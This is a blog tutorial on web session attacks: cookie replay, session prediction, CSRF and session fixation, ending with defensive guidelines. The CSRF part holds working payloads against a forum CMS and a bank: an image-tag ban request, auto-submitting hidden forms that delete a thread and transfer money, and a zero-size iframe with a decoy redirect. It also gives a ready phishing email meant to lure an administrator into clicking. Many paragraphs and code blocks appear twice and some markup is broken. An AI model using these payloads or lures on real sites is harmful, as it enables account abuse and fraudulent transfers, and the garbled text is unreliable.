Most of authorization methods are based on the user, password pair, provided by the user. The stateless nature of the Internet requires the server to remember every user that has logged in. Web applications create a unique session for every user. This session is stored somewhere on the server, usually in the database and on users' box via cookies or GET/POST variables. How possible is, for a malicious user, to use these cookies for impersonation? In this article we will try to explore some methods that used very often by malicious people in order to impersonate users. We are not trying to find a totally new world, but to uncover, or better, to formulate, the most recent methods used against current web applications that allow malicious attackers to believe that they are successful. Cookie attacks formulation, Session Prediction, Cross Site Request Forgery and
Session Fixation are methods that will be described with real examples.
Cookie Vulnerabilities: A method
Suppose that Cn(i) is the set of n cookies for the legitimate registered user i. We will try to find a new set Km(i) where K ⊆ C and m <= n that K contains only the necessary elements of C used to authenticate the user i. We call the elements of K, key cookies.
Suppose that Cn(i) is the set of n cookies for the legitimate registered user i. We will try to find a new set Km(i) where K ⊆ C and m <= n that K contains only the necessary elements of C used to authenticate the user i. We call the elements of K, key cookies.
Let, C = { 1, 2, 3, 4 }: A web page with four cookies for a registered user.
We try to find the key cookies (the K) by removing each element in C and test the web application behavior. If, for every deleted element, we get an authentication error then we consider such element as a key element (a key cookie) and we put it in K.
Thus, we test the web application by using the cookies :
If {2,3,4} fail to authenticate the user, then add “1” to K,
If {1,3,4} fail to authenticate the user, then add “2” to K,
If {1,2,4} fail to authenticate the user, then add “3” to K,
If {1,2,3} fail to authenticate the user, then add “4” to K
If a user j, where j ≠ i, uses or calculates (somehow) the K set, then it is very possible to directly impersonate from his box the user i.
Suppose that we have to test a forum at http://www.myforum.com using our favorite browser opera. We registered with a random name (say PeterPunk) and we entered to the forum. From Tools | Advance | Cookies we get the C set for that server, say:
# | COOKIE-NAME | VALUE |
1 | AutoLoginCookie | TRUE |
2 | UserCookie | lv=Fri, 01 Jan 1999 00:00:00 GMT&mra=Sun, 17 Jan 2010 12:49:31 GMT |
3 | .Server | 2E0B822E88691002AFB8AB29F25BFCC634ECB1B32E0020 |
We go, then, to the main form of the application: the one that displays our user name (i.e.: “Welcome Mr PeterPunk”). We just delete the cookie #1 and we press the refresh button, checking the welcome message: It’s still “Welcome Mr PeterPunk”. This means that the AutoLoginCookie is not important for the authentication. We do the same for cookies #2 and #3. We find that when we delete .Server cookie (the 3rd one) and refresh the page, we get a “Welcome Guest” in the main form. This means that our K set contains only one element: The cookie .Server. We consider this cookie as a key cookie. Now, let try this cookie to a different browser.
Session Replay
In order to test this vulnerability we open a different web browser (say firefox). To test our forum we need a way to add cookies dynamically. For this task we use the firefox add-on EditCookies [2]. Now, we can start our assessment: We visit http://www.myforum.com, but this time as a guest. We go to our favorite “Welcome Guest” screen. Then, we copy the cooky(ies) from K set to the new browser keeping the same server name (“www.myforum.com”). By pressing refresh we see the friendly message “Welcome Mr PeterPunk”. This is done without any login attempt! This attack is known as session replay attack [10].
In order to test this vulnerability we open a different web browser (say firefox). To test our forum we need a way to add cookies dynamically. For this task we use the firefox add-on EditCookies [2]. Now, we can start our assessment: We visit http://www.myforum.com, but this time as a guest. We go to our favorite “Welcome Guest” screen. Then, we copy the cooky(ies) from K set to the new browser keeping the same server name (“www.myforum.com”). By pressing refresh we see the friendly message “Welcome Mr PeterPunk”. This is done without any login attempt! This attack is known as session replay attack [10].
The probability of success
The above behavior means that the server is vulnerable to session attacks via cookie theft, but, at what degree? Is it possible to guess the degree of the vulnerability without any knowledge about the contents of the key cookie itself? The answer is yes. But, let us explain first, what we mean when we say “the vulnerability degree”.
We define the degree of a session hijacking vulnerability as:
A: When session attacks can be performed at any time from any browser.
B: When session attacks can be performed at a specific time period from any browser, from any box. In this process a session or an auto-login cookie plays an important role. Sometimes, by applying to the auto-login cookie the value “TRUE”, we can increase a vulnerability from degree B to A.
C: When session attacks can be performed at a specific time period from a specific browser, from a specific IP.
The vulnerability degree reflects the method that the web application developer created the key cookies. It is very easy to make blind tests in order to check the degree of the vulnerability: We can perform the tasks in the above paragraph in:
- A different day on the same box and
- A different day on a different box.
Success on 1 but not in 2 means that we have a vulnerability of degree B and success on both 1 and 2 means that we have a vulnerability of degree A. If both fail then we have a vulnerability of degree C. We can say that the degree of the vulnerability is proportional to the probability that a malicious user have a successful attack.
Session Prediction
Suppose that we are logged in our forum as “KapaUser”. In this specific example we just use the firefox addon EditCookies 0.2.2.1 [2]. The .Server is the cookie that keeps information about the actual user. Lets logged in to the site as another user, and then, another one etc. We try five users and we end up with a list of 5 .Server cookies:
Suppose that we are logged in our forum as “KapaUser”. In this specific example we just use the firefox addon EditCookies 0.2.2.1 [2]. The .Server is the cookie that keeps information about the actual user. Lets logged in to the site as another user, and then, another one etc. We try five users and we end up with a list of 5 .Server cookies:
Values of .Server cookie |
2E0B822E88691002AFB8AB29F25BFCC634ECB1B32E0020 |
2E0A102EEE3BB45B87E933AC846DEDD8E567B5342E0020 |
2E01002E3F52DCFF7D3DBC45FBCD13F3061D2D002E0020 |
2E00052E40771B4A2858D4899EFC76F4D9F02D442E0030 |
2E00012E9BB8842071CF555F4DDF15B61E3EB3CD2E0038 |
By examining carefully the above list we can find some important patterns:
- The cookie is made up of hexadecimal numbers only.
- Some numbers are the same for each different cookie. One of them is the 2E. We can suppose that this number is a delimiter. Since its ASCII equivalent is the dot “.” character, we can say that each cookie looks like this:
.0B82.88691002AFB8AB29F25BFCC634ECB1B3.61FE
- According to the above conclusion we can say that the .Server cookie consists of three parts. What we have to do, is to try to define the actual meaning of each part. We should say that in many cases, this is just a matter of experience. Let’s consider each distinct part.
- Part I is (probably) the user ID in hexadecimal notation.
- Part II, because of its size (32 bytes) is more close to some sort of md5 encoding. Probably the user name or the password (or both). The first can easily be found if we try to find the md5 of the user “KapaUser”. Indeed, its MD5 is 88691002AFB8AB29F25BFCC634ECB1B3.
- Part III is maybe the trickiest one. It looks like a bitmap with flags that have to do with the user access rights. The binary equivalent of 0020, 0030 and 0038 is 100000, 110000, and 111000 respectively. Combining this with the Part I (the user ID) and with the fact that very low user IDs (often) belong to administrators or moderators, we can say that this is a bitmap representation of access rights. Thus, we are sure that 100000 belong to a simple member, 110000 maybe belong to a moderator and 111000 belong to the administrator. The last three flags probably note some other constrains, for example ban users etc.
By using the above information we can easily impersonate a user by passing the legal authorization checks performing horizontal and vertical privilege escalations [3].
The above attack was easy to implement. The administrator can uncover the attack, if he checks the links of each image. This is because this attack was performed using Get requests.
Cross Site Request Forgery
The sleeping giant of known attacks [11]. I am not sure if there is a better definition than of Wikipedia’s: CSRF is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts. Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser. In this attack the attacker uses malicious requests based on a totally legitimate user cookie or session. It uses the URL variables and commands along with the current user privileges to execute actions on a web application (e.g. a CMS). More worst, the attacker can create a well structured program (e.g. in Perl or Python) that uses post request in order to simulate a legitimate web application action.
The sleeping giant of known attacks [11]. I am not sure if there is a better definition than of Wikipedia’s: CSRF is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts. Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser. In this attack the attacker uses malicious requests based on a totally legitimate user cookie or session. It uses the URL variables and commands along with the current user privileges to execute actions on a web application (e.g. a CMS). More worst, the attacker can create a well structured program (e.g. in Perl or Python) that uses post request in order to simulate a legitimate web application action.
The event that will trigger this attack can be a malicious mail that will force the user (using social engineering techniques) to click on a link that contains the malicious code. For a successful attack, the user must be already authenticated to the attacked server. Often, a successful attack is a result of a forgotten user ‘Sign In’ without ‘Sign Out’ action. Most CSRF vulnerabilities are of Degree B. A few of them can be classified as C, when the web application takes in consideration some client side information (e.g. the web browser name and version) in order to authenticate the user. Let’s take a closer look, how such vulnerability can be applied in practice [14].
SirGod has exploited the CMS BabbleBoard v.1.1.6 [13] by applying a malicious URL that can change any user state. For example, when the administrator bans a user, the CMS application executes the following URL:
As we can see, the only variable that is needed is the ID of the user that is going to be banned. Suppose that we are malicious persons and we want to ban a user (we dislike) with ID 245 in a forum that we are just members. The only thing we need to do is to send to the administrator a mail with a covered link like this one:
and force him to press it. The “problem” that we face is how to cover the above link so the administrator will without any hesitation. We can hide the URL in a special HTML file inside an <img> tag in our attack server. Then we send a mail to the administrator with a link in this very html file and force him to press it using a bit of social engineering. Let’s take a look every step of this attack.
In our attack server we create a file (say guilnocent.html) with five images. The first four are real ones but the last is the malicious one that will call the bad URL:
Guilnocent.html
<img src="http://tbn2.google.com/images?q=tbn:B6T6sKSdPglmgM:http://www.pnl.gov/breakthroughs/issues/2005-issues/fall/images/cyber_security.jpg"/>
<img src="http://tbn1.google.com/images?q=tbn:UwCxyuruNPQ90M:http://www.cbc.ca/news/background/computer-security/gfx/titlephoto.jpg"/>
<img src="http://www.ieee-security.org/Cipher/IMAGES/HORSE-nosky-red-trans2.gif>
<img src="http://tbn0.google.com/images?q=tbn:33Ss5eKab3X_fM:http://www.freedomsecurity.us/Security%20Badge.jpg"/>
<img src="http://www.OurVulnerableCMS.gr/index.php?page=admin&act=members&func=ban&id=245"/>
<img src="http://tbn1.google.com/images?q=tbn:UwCxyuruNPQ90M:http://www.cbc.ca/news/background/computer-security/gfx/titlephoto.jpg"/>
<img src="http://www.ieee-security.org/Cipher/IMAGES/HORSE-nosky-red-trans2.gif>
<img src="http://tbn0.google.com/images?q=tbn:33Ss5eKab3X_fM:http://www.freedomsecurity.us/Security%20Badge.jpg"/>
<img src="http://www.OurVulnerableCMS.gr/index.php?page=admin&act=members&func=ban&id=245"/>
We create a nice and clear personal message (mail or whatever) and we send to administrator:
Yo mate, whats up?
I would like to congratz you for the perfect job that you do on the site.
I am a professional web designer for 10 years now but I also love security and hacking! I found in your forum exactly what I need: A reliable place full of knowledge for everyone wants to learn. Without lamer posts and stupid warez!
Btw, I really like your forums banner, but I would like to inform you that there are (from the technological point of view) newer and better looking approaches. Several of them I have designed by myself. It would be a real honor to me, if you take a look and use (for free) any of my state of the art banners.
If you are really interested on this, please take a look here:
<a href="http://www.OurVulnerableCMS.gr/Guilnocent.html">My Banners</a>
I apologize if some links are broken. Many of my clients change their locations every time.
Thanx for your time.
Peter Punk
I would like to congratz you for the perfect job that you do on the site.
I am a professional web designer for 10 years now but I also love security and hacking! I found in your forum exactly what I need: A reliable place full of knowledge for everyone wants to learn. Without lamer posts and stupid warez!
Btw, I really like your forums banner, but I would like to inform you that there are (from the technological point of view) newer and better looking approaches. Several of them I have designed by myself. It would be a real honor to me, if you take a look and use (for free) any of my state of the art banners.
If you are really interested on this, please take a look here:
<a href="http://www.OurVulnerableCMS.gr/Guilnocent.html">My Banners</a>
I apologize if some links are broken. Many of my clients change their locations every time.
Thanx for your time.
Peter Punk
When the administrator read the above mail we hope that he is going to press the attached link. When he presses it, he will see the picture below:
Image 1: the administrator previous some pictures but the user is already banned… |
Using post requests
A different technique more difficult to uncover is the one that Post requests are used. Suppose that we need to check a forum’s vulnerability in this type of attack. For this purpose we use the very useful Firefox add-on Live http-headers (http://tinyurl.com/yvmhkf) in order to check the actual post variables on every action. If it possible to inject and replay a post method, then we can safely say that the site is vulnerable to CSRF attacks.
A different technique more difficult to uncover is the one that Post requests are used. Suppose that we need to check a forum’s vulnerability in this type of attack. For this purpose we use the very useful Firefox add-on Live http-headers (http://tinyurl.com/yvmhkf) in order to check the actual post variables on every action. If it possible to inject and replay a post method, then we can safely say that the site is vulnerable to CSRF attacks.
In the image below we see the actual post variables, when we delete a thread using the WCFBoard CMS.
Image 2: Delete a user using post method in the WCFBoard CMS. |
To prove that the site is vulnerable we create the following little exploit in php:
csrf_exploit2.php
<html>
<form name="admin" action="http://www.OurVulnerableCMS.gr/index.php" method="POST"
<input type="hidden" name="action" value="ThreadDelete">
<input type="hidden" name="threadID" value="5"
<input type="hidden" name="x" value="2">
<input type="hidden" name="y" value="8"
</form>
<script>document.admin.submit()</script>
</html>
<form name="admin" action="http://www.OurVulnerableCMS.gr/index.php" method="POST"
<input type="hidden" name="action" value="ThreadDelete">
<input type="hidden" name="threadID" value="5"
<input type="hidden" name="x" value="2">
<input type="hidden" name="y" value="8"
</form>
<script>document.admin.submit()</script>
</html>
We actually replay the post method we find above by assigning to the hidden variables our values. We need now, to create an HTML file that will call the above exploit without giving to the user any knowledge of it. We create a version 2 of our Guilnocent.html :
Guilnocent2.html
<html>
<IFRAME SRC="http://www.OurVulnerableCMS.gr/csrf_exploit2.php" WIDTH=0 HEIGHT=0 frameborder=0>
</IFRAME>
<meta HTTP-EQUIV="REFRESH" content="0; url=http://twitter.com/totalXAKER">
</html>
<IFRAME SRC="http://www.OurVulnerableCMS.gr/csrf_exploit2.php" WIDTH=0 HEIGHT=0 frameborder=0>
</IFRAME>
<meta HTTP-EQUIV="REFRESH" content="0; url=http://twitter.com/totalXAKER">
</html>
We use a well known phishing technique above by redirecting the victim to an innocent (but related) site hiding the main goal (the call of csrf_exploit.php) inside a zero sized frame using the iframe tag. The only thing left to do here is to create another mail (very similar to the one used above) to persuade the victim to visit the new totalXaker twitter. When the victim visit the above URL, he will just see the TotalXaker’s twitter page (image 3). But, behind the scenes he will delete a specific thread of its forum. Again, this attack will be successful if and only if, the victim has already authenticated to his forum.
Image 3: The victim directed to the twitter, but the malicious script has already been executed! |
The Bank transfer problem!
Security problems can be found for this method in bank sites. Consider the following scenario: In my bank I use two accounts. The first one is my main salary account and the other one is for personal purchases (via internet etc). When I want to buy something from the net, I just make a transfer a specific amount from my main account to the purchases account. When, I make a transfer I just check the transaction using Live Http Headers (Image 4).
Security problems can be found for this method in bank sites. Consider the following scenario: In my bank I use two accounts. The first one is my main salary account and the other one is for personal purchases (via internet etc). When I want to buy something from the net, I just make a transfer a specific amount from my main account to the purchases account. When, I make a transfer I just check the transaction using Live Http Headers (Image 4).
Image 4: A bank transfer http headers |
We can see all the post variables for
the amount transfer of 10€.
Let’s try to create a program in php
that “automates” the above transaction. Let’s transfer 11€:
< iframe name="noscreen"
frameborder="0" height="0" width="0"><
/iframe>
<
form
name="admin"
action="https://www.vuln_BANK_/AccountTransfer.do"method="post"
target="noscreen">
< input type="hidden"
name="sourceAccountId" value="1">
< input type="hidden"
name="AmountIntegral" value="11">
< input type="hidden"
name="AmountDecimal" value="00">
< input type="hidden"
name="DTransferAmount" value="11.00">
< input type="hidden"
name="destinationAccount" value="0">
< input type="hidden"
name="destinationAccountId" value="0">
< input type="hidden"
name="strTransferReason" value="Tester">
< input type="hidden"
name="x" value="17">
< input type="hidden"
name="y" value="5">
< input type="submit"
name="submit" value="Save">
< /form>
<
script>document.admin.submit()< /script>
I run the above program while I was
inside (authenticated) in my web banking session, but nothing
happens. After a few hours a check my webs account (Image 5).
Image 5: An “automatic” account transfer! |
Session Fixation
Session fixation is another method of
attack first described by [15]. The method is based on the
vulnerability that some web applications assigned session IDs to
their users before they even log in. With session fixation the
attacker can visit the web site as a guest, gets the session ID and
then send it (inside a hidden link) to the victim. Supposing that the
victim has a legal account to the site (to its bank account for
example), he logged in. The attacker then, refreshes his page and he
will immediately be inside the site with the victim’s privileges.
Let’s see a three minutes successful attack using session fixation.
We suppose that in this example, the attacker uses Firefox and the
victim uses Opera.
00:29: The administration has read the message, he logs in to his forum and he is ready to “kill” the trolls… |
0:30: Mr. Black-Hat is reading his newspaper, pressing every 1 minute the refresh button in the forum’s page. In its last “refresh”… bingo |
This vulnerability has a degree of B,
because its duration is analogous to the time that the victim stays
in the site with the specific session id. In the above example, when
the administrator logs out, Mr. Black-Hat will lose its session too.
Conclusions and protections
I tried to present the most common-used
methods for authorizations attacks. If I had to assign a level of
importance on the method described, in respect to their up to date
level, I would put them in the following order:
- Cross site request forgery
- Session replay
- Session Fixation
- Session Prediction
The question, now, is: How do I protect
my application from such attacks? The answer is not very easy, but
there are some general guide lines that could make your programs
robust enough to make the task of the attacker very difficult:
First of all let’s define some guide
lines for the web user:
- Never (ever!) trust links the you receive by friend or by “friends”. You will never know who is at the end of the line. Even yourself maybe someone else!
- When you finish your work with sensitive data (like e-banking or emails) or in public networks (like net-cafes or airports) always press the logout button from the application you used, in order to delete your session cookies/ids. In such sites, you must never press the “remember me” button.
Finally, I would like to give some
guidelines for the application’s programmers:
- Never pass the session ID in GET method. Prefer POST method.
- Every time a user logs in our site we must assign to him a new session ID, even if he already has one!
- Use secure connections for sensitive data, via https.
- The session ID that we will assign to the user could be an encrypted string consists of several parts:
- A random number based on a random generator formula or on a specific method provided by the web server itself. This number can also be encrypted. The latest methods used by web server, for session ID generation, are robust enough against session prediction attacks.
- Data that have to do with the client itself. For example IPs, the web browser name (from the user-agent field of HTTP headers). This can keep the probability of success to degree C.
- Data that have to do to with the server side. Keep in this part server-side information that the client is not able to reproduce it by any mean. For example a date and time stamp. When you process the client request check this stamp. It must be in a logical time range between requests. Say 10 or 20 seconds. Deny requests with time stamp more than 20 seconds old. This can, also, keep the probability of success to degree C.
- Add random numbers and characters that have no value at all.
- Put all a, b, c and d in an encrypted string. This string will be decrypted by your program when you receive the response.
- Follow the golden rule of security: Never trust user input.
[1]. Set Operation
(http://tinyurl.com/2i3i)
[2]. Edit Cookies, firefox addon
(http://tinyurl.com/y8fvvfk)
[3]. Hacking Exposed Web Applications,
2nd Ed. By Joel Scambray, Mike Shema and Caleb Sima.
[4]. Predictable Session IDs
(http://cookies.lcs.mit.edu/seq_sessionid.html
)
[5]. Session Hijacking Attacks
(http://tinyurl.com/yet26x7)
[6]. Security Corner: Session Fixation
(http://tinyurl.com/68r64h)
[7]. Use Windows Authentication in
ASP.NET 2.0 (http://tinyurl.com/qox3b4)
[8]. PHP Sessions
(http://tinyurl.com/ybqlqoe)
[9]. Information Security
(http://tinyurl.com/325c35)
[10]. Brute-Force Exploitation of Web
Application Session IDs By David Endler, November 1, 2001
[11]. CSRF Vulnerability: A 'Sleeping
Giant' (http://tinyurl.com/y8d6o6y).
[12]. CSRF: Yeah is still works, by
Mike Bailey, skeptikal.org, Russ McRee, holisticinfosec.org @ DEFCON
17 (http://tinyurl.com/ybj8ekz)
[13]. BabbleBoard v1.1.6 Cookie Grabber
Exploit/CSRF, by SirGod (http://www.milw0rm.com/exploits/7475)
[14].TotalXakeR Magazine No 24, 2009,
“Cross Site Request Forgery”, No 31, 2010, “Session Fixation”.
[15]. Session Fixation Vulnerability in
Web-based Applications by Mitja Kolsek and ACROS Security 2002,2007
(http://www.acros.si/papers/session_fixation.pdf)
hey man, your article is awesome. Only one problem is why the test links you offered before do not work when I try to conduct the experiments like you?
ReplyDeletehei memg, thnx for your remark.
ReplyDeleteMost of the links in my programs are not working because are demo links, only for educational purposes of course. ;-)
cheers